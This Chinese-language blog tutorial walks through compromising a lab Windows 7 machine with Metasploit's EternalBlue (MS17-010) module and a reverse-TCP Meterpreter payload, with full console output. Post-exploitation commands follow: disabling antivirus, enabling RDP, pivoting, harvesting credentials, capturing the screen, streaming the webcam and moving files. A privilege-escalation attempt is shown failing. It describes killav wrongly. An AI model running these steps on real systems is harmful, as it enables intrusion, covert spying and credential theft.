利用永恆之藍漏洞入侵Windows7
流程參考https://www.jianshu.com/p/03a1c13f963a,實在是太棒啦!!!
目標主機為win7(IP:192.168.1.102);攻擊機為kali(IP:192.168.1.104);工具為metasploit5
啟動metasploit
msfconsole
探測目標主機信息
nmap -sV 192.168.1.102
,445端口開放着,大概率可以用永恆之藍漏洞攻擊
這一次選擇MS17_010漏洞,就是永恆之藍漏洞來入侵Windows7。查找MS17_010漏洞相關的信息:
search ms17_010
第二個輔助模塊是探測主機是否存在MS17_010漏洞
選擇這個輔助模塊,看看目標機器是不是有這個問題。
likely ———— 有可能有啊 (必須滴有🤦♀️)
開干!
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue # 用攻擊模塊
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads # 顯示所有payload
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 generic/custom normal No Custom Payload
2 generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 windows/x64/exec normal No Windows x64 Execute Command
5 windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
6 windows/x64/messagebox normal No Windows MessageBox x64
7 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
8 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
9 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
10 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
11 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此處省略很多行——————————————————————————————————————
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp # 選擇這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102 # 設置目標IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104 # 設置攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run # 開干
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.1.102:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > sysinfo # 可以為所欲為了
Computer : GE-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
成功地對目標機器攻擊滲透后還可以做什么? Metasploit提供了一個非常強大的后滲透工具————Meterpreter,該工具具有多重功能,使后續的滲透入侵變得更容易。獲取目標機的Meterpreter Shell后,就進入了Metasploit最精彩的后期滲透利用階段,后期滲透模塊有200多個,Meterpreter有以下優勢。
- 純內存工作模式,不需要對磁盤進行任何寫入操作。
- 使用加密通信協議,而且可以同時與幾個信道通信。
- 在被攻擊進程內工作,不需要創建新的進程。
- 易於在多進程之間遷移。
- 平台通用,適用於Windows、Linux、 BSD系統, 並支持Intel x86和Intel x64平台。
本節主要介紹如何利用Meterpreter做好后滲透的准備工作及收集系統各類信息和數據。
進程遷移
在剛獲得Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者可以利用瀏覽器漏洞攻陷目標機器,但攻擊滲透后瀏覽器有可能被用戶關閉。所以第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一起,而不需要對磁盤進行任何寫入操作。這樣做使得滲透更難被檢測到。
輸入ps命令獲取目標機正在運行的進程,如下圖所示。
輸入getpid命令查看Meterpreter Shell的進程號,如下圖所示
可以看到Meterpreter Shell進程的PID為1116,Name為spoolsv.exe,然后輸入migrate 2428
命令把Shell移動到PID為2428的Explorer.exe進程里,因為該進程是一個穩定的應用。
完成進程遷移后,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程里,如圖所示。
進程遷移完成后,原先PID為1116的進程會自動關閉,如果沒有自動關閉可以輸入kill 1116命令“殺掉” 該進程。使用自動遷移進程命令(run post/windows/manage/migrate
)后,系統會自動尋找合適的進程然后遷移,如圖所示。
如上圖所示,系統已經把原來PID為2428的進程遷移到956。
系統命令
獲得了穩定的進程后,接下來收集系統信息。先輸入sysinfo
命令查看目標機的系統信息,例如操作系統和體系結構,如下圖所示。
輸入run post/windows/gather/checkvm
命令檢查目標機是否運行在虛擬機上,如下所示
可以看到當前目標機正運行在一個VMware虛擬機上.現在檢查目標機是否正在運行, 輸入idletime
命令后可以看到目標機最近的運行時間.
可以看到目標機器正在運行,並且已經運行了35 mins 16 secs
接着輸入route
命令查看目標機完整的網絡設置, 如下圖所示
除此之外,可以輸入background命令將當前會話放到后台,此命令適合在多個Meterpreter會話的場景下使用。還可以輸入getuid命令查看當前目標機器上已經滲透成功的用戶名,如下圖所示。
接着輸入run post/windows/manage/killav
命令關閉目標機操作系統, 如下所示
輸入run post/windows/manage/enable_rdp
命令啟動目標機的遠程桌面協議,也就是常說的3389端口,如下
然后輸入run post/windows/manage/autoroute
命令查看目標機的本地子網情況, 如下:
可以通過添加路由借助被攻陷的主機對其他網絡的主機發送攻擊.
接着輸入run post/windows/gather/enum_logged_on_users
命令列舉當前有多少用戶登陸了目標機.
這系統就ge一個用戶.且當前已經登陸.
列舉完了用戶之后, 繼續輸入 run post/windows/gather/enum_applications
命令列舉安裝在目標機上的應用程序, 如下
很多用戶習慣將計算機設置為自動登錄,下面這個命令可以抓取自動登陸的用戶和密碼.
run windows/gather/credentials/windows_autologin
可以看到,當前沒有抓到任何信息。此時就需要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,然后輸入screengrab命令就可以抓取此時目標機的屏幕截圖,如圖所示。
抓取成功后就生成了一個名為YZOFsgTD.jpeg的圖片,保存在root目錄下。這里輸入screenshot命令也可以達到同樣的效果,如圖所示。
下面介紹幾個好玩的命令, 查看目標機有沒有攝像頭的命令為 webcam_list, 如下:
沒有和有結果分別如下(為撒一會無,一會有? [因為我發現沒有之后把攝像頭又分配給了虛擬機😁])
接着輸入webcam_snap命令打開目標機攝像頭並拍攝一照片, 如下
瘋狂打馬
輸入webcam_stream命令甚至還可以開啟直播模式. 媽呀,可怕!!
還可以輸入shell命令進入目標機shell下面, 如下所示.
最后輸入exit命令停止meterpreter會話, 如下所示. 該命令還可用於停止shell會話並返回meterpreter.
文件系統命令
Meterpreter也支持各種文件系統命令,用於搜索文件並執行各種任務,例如搜索文件、下載文件及切換目錄等,相對來說操作比較簡單。常用的文件系統命令及其作用如下所示。
- pwd或getwd: 查看當前處於目標機的哪個目錄,如圖所示。
- getlwd: 查看當前處於本地的哪個目錄
- ls: 列出當前目錄中的所有文件
- cd: 切換目錄
- search -f *.txt -d c:\ 可以搜索C盤中所有以".txt" 為擴展名的文件,其中-f參數用於指定搜索文件模式,-d參數用於指定在哪個目錄下進行搜索,如圖所示。
- download c:\test.txt /root 下載目標機C盤的test.txt文件到攻擊機root下。
- upload /root/test.txt c:\ 上傳攻擊機root目錄下的test.txt文件到目標機C盤下。
使用上述命令搜索已被攻陷的目標機,可以獲得更多關於目標機的信息。
后滲透攻擊:權限提升
通常,我們在滲透過程中很有可能只獲得了一個系統的Guest或User權限。低的權限級別將使我們受到很多的限制,在實施橫向滲透或者提權攻擊時將很困難。在主機上如果沒有管理員權限,就無法進行獲取Hash、安裝軟件、修改防火牆規則和修改注冊表等各種操作,所以必須將訪問權限從Guset提升到User,再到Administrator,最后到System級別。
滲透的最終目的是獲取服務器的最高權限,即Windows操作系統中管理員賬號的權限,或Linux操作系統中root賬戶的權限。提升權限的方式分為以下兩類。
- 縱向提權:低權限角色獲得高權限角色的權限。例如,一個WebShell權限通過提權之后擁有了管理員的權限,那么這種提權就是縱向提權,也稱作權限升級。
- 橫向提權:獲取同級別角色的權限。例如,通過已經攻破的系統A獲取了系統B的權限,那么這種提權就屬於橫向提權。
所以在成功獲取目標機Meterpreter Shell后,我們要知道現在已經擁有了什么權限.
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行, 接着輸入whoami /groups
命令查看我們當前的權限
從上圖中可以看到,當前的權限是Mandatory Label\Medium Mandatory Level, 說明我們是一個標准用戶,那么就需要將用戶權限從標准用戶提升到管理員,也就是Mandatory Label\High Mandatory Level。
下面我們就利用本地溢出漏洞來提高權限,也就是說通過運行些現成的、能造成溢出漏洞的Exploit,把用戶從User組或其他系統用戶組中提升到Administrator組(或root)。
溢出漏洞就像往杯子里裝水,水多了杯子裝不進去,里面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,如果用戶輸入的數據超過了這個緩存區的長度,那么這個程序就會溢出。
利用WMIC實戰MS16-032本地溢出漏洞
此處我們通過一系列的滲透測試得到了目標機器的Meterpreter Shell.首先輸入getuid命令查看已經獲得的權限,可以看到現在的權限很低,是test權限。嘗試輸入getsystem命令提權,結果失敗,如圖所示。
接着查看系統的已打補丁,傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者通過查詢C:\windows\里留下的補丁號".Iog" 查看目標機大概打了哪些補丁,如圖所示。
可以看到目標機只安裝了3個修補程序。這里再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn
列出已安裝的補丁,如圖所示。
同樣可以看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,然后將系統已經安裝的補丁編號與提權的EXP編號進行對比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),然后使用沒有編號的EXP進行提權。因為虛擬機不怎么打補丁,所以我們可以使用很多EXP來提權,這里就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。
相關漏洞的具體信息分析和共享可以參考如下兩個網站。
- 安全焦點,其BugTraq是一個出色的漏洞和Exploit數據源, 可以通過CVE編號或者產品信息漏洞直接搜索。網址: https://www.securityfocus.com/bid .
- Exploit-DB, 取代了老牌安全網站milw0rm。 Exploit DB不斷更新大量的Exploit程序和報告,它的搜索范圍是整個網站的內容。網址: https://www.exploit-db.com/ 。
知識點: WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,可以說是Windows平台下最有用的命令行工具。使用WMIC,我們不但可
以管理本地計算機,還可以管理同一域內的所有遠程計算機(需要必要的權限), 而被管理的遠程計算機不必事先安裝WMIC.
wmic.exe位於Windows目錄下,是一個命令行程序。 WMIC可以以兩種模式執行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),經常使用Netsh命令行的讀者應該非常熟悉這兩種模式。
- 交互模式。如果你在命令提示符下或通過“運行”菜單只輸入WMIC,都將進入WMIC的交互模式,每當一個命令執行完畢后,系統還會返回到WMIC提示符下,如"Root\cli" ,交互模式通常在需要執行多個WMIC指令時使用,有時還會對一些敏感的操作要求確認,例如刪除操作,這樣能最大限度地防止用戶操作出現失誤。
- 非交互模式。非交互模式是指將WMIC指令直接作為WMIC的參數放在WMIC后面,當指令執行完畢后再返回到普通的命令提示符下,而不是進入WMIC上下文環境中。WMIC的非交互模式主要用於批處理或者其他一些腳本文件中。
需要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,但是在Windows 7系統和Windows 8系統下,低權限用戶可以使用WMIC,且不用更改任何設置。
WMIC在信息收集和后滲透測試階段非常實用,可以調取查看目標機的進程、服務、用戶、用戶組、網絡連接、硬盤信息、網絡共享信息、已安裝補丁、啟動項、已安裝的軟件、操作系統的相關信息和時區等。
接下來准備提權,同樣需要先把Meterpreter會話轉為后台執行,然后搜索MS16-032,如下圖所示。
知識點: 如果搜索不到最新的Exploit,可以輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。
執行以下命令選中MS16-032這個漏洞,然后指定"session" 進行提權操作,這里我們指定服務"session" 為 “1”,然后run 。
額這塊失敗了, 不玩了mmp......
為方便提權, 下面附上部分系統對應的補丁號.
說明
本文參考 開篇的博客鏈接 及 《Web安全攻防:滲透測試實戰指南》
所有過程僅供演示交流,禁止用於非法用途,由此產生的非法后果與我無瓜。